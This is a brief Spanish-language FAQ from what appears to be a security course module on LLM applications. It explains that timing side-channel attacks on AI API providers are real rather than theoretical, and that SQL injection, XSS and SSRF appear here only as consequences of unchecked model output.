¿Los ataques de canal lateral por tiempo de respuesta son solo un ejercicio académico, o afectan a aplicaciones reales?
La investigación citada en este módulo se hizo precisamente auditando proveedores de API reales en producción, no una maqueta de laboratorio, y encontró evidencia concreta de un problema de aislamiento entre organizaciones distintas en al menos uno de ellos. Que sea difícil de explotar sin conocimientos especializados no significa que sea teórico: significa que, hoy, hay menos gente capaz de explotarlo que gente capaz de explotar una inyección SQL clásica, no que sea imposible.
Este módulo ya cubre inyección SQL, XSS y SSRF como impacto. ¿Va a repetirse cuando llegue al módulo correspondiente?
No. Aquí esas familias aparecen solo como el destino final de una salida de modelo sin comprobar, para que entiendas por qué el manejo de la salida es el punto donde se corta el problema antes de que llegue a convertirse en una de ellas. La técnica de explotación en sí, cómo se construye cada carga, cómo se detecta cada una en un pentest, vive por completo en el curso de Hacking Web, y este módulo no la repite en ningún momento.
